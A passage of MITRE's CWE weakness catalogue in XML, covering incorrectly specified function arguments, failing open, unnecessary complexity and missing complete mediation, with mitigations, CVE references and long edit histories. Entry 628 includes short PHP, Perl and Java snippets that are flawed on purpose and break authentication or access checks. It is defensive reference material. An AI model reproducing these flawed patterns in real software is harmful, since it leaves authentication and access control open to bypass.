               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="628" Name="Function Call with Incorrectly Specified Arguments" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.</Description>
         <Extended_Description>
            <xhtml:p>There are multiple ways in which this weakness can be introduced, including:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>the wrong variable or reference;</xhtml:li>
                  <xhtml:li>an incorrect number of arguments;</xhtml:li>
                  <xhtml:li>incorrect order of arguments;</xhtml:li>
                  <xhtml:li>wrong type of arguments; or</xhtml:li>
                  <xhtml:li>wrong value.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Access Control</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Other</Method>
               <Description>Since these bugs typically introduce incorrect behavior that is obvious to users, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Description>Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make sure your API's are stable before you use them in production code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-62">
               <Intro_Text>The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function authenticate($username, $password) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// authenticate user</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>authenticate($_POST['password'], $_POST['username']);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-63">
               <Intro_Text>This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>sub ReportAuth {<xhtml:div style="margin-left:1em;">my ($username, $result, $fatal) = @_;<xhtml:br/>PrintLog("auth: username=%s, result=%d", $username, $result);<xhtml:br/>if (($result ne "success") &amp;&amp; $fatal) {<xhtml:div style="margin-left:1em;">die "Failed!\n";</xhtml:div>}</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub PrivilegedFunc<xhtml:br/>{<xhtml:div style="margin-left:1em;">my $result = CheckAuth($username);<xhtml:br/>ReportAuth($username, $result, 0);<xhtml:br/>DoReallyImportantStuff();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-64">
               <Intro_Text>In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private static final String[] ADMIN_ROLES = ...;<xhtml:br/>public boolean void accessGranted(String resource, String user) {<xhtml:div style="margin-left:1em;">String[] userRoles = getUserRoles(user);<xhtml:br/>return accessGranted(resource, ADMIN_ROLES);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>private boolean void accessGranted(String resource, String[] userRoles) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// grant or deny access based on user roles</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-7049</Reference>
               <Description>The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7049</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>DCL10-C</Entry_ID>
               <Entry_Name>Maintain the contract between the writer and caller of variadic functions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP37-C</Entry_ID>
               <Entry_Name>Call functions with the correct number and type of arguments</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>DCL00-PL</Entry_ID>
               <Entry_Name>Do not use subroutine prototypes</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP33-PL</Entry_ID>
               <Entry_Name>Do not invoke a function in a context for which it is not defined</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Incorrectly Specified Arguments</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="636" Name="Not Failing Securely ('Failing Open')" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.</Description>
         <Extended_Description>By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="280" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			<Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Failing Open</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-5277</Reference>
               <Description>The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5277</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4407</Reference>
               <Description>Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4407</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-522"/>
         </References>
         <Notes>
            <Note Type="Research Gap">Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Pascal Meunier</Submission_Name>
               <Submission_Organization>Purdue University</Submission_Organization>
               <Submission_Date>2008-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Design Principle Violation: Not Failing Securely</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Not Failing Securely (aka 'Failing Open')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Not Failing Securely (aka 'Failing Open')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="637" Name="Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.</Description>
         <Extended_Description>Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Unnecessary Complexity</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-6067</Reference>
               <Description>Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6067</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1552</Reference>
               <Description>Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1552</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6479</Reference>
               <Description>In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6479</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2148</Reference>
               <Description>The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2148</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-524"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Pascal Meunier</Submission_Name>
               <Submission_Organization>Purdue University</Submission_Organization>
               <Submission_Date>2008-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Not Using Economy of Mechanism</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Use Economy of Mechanism</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="638" Name="Not Using Complete Mediation" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="862" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Other</Impact>
               <Note>A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-0408</Reference>
               <Description>Server does not properly validate client certificates when reusing cached connections.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0408</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP20</Entry_ID>
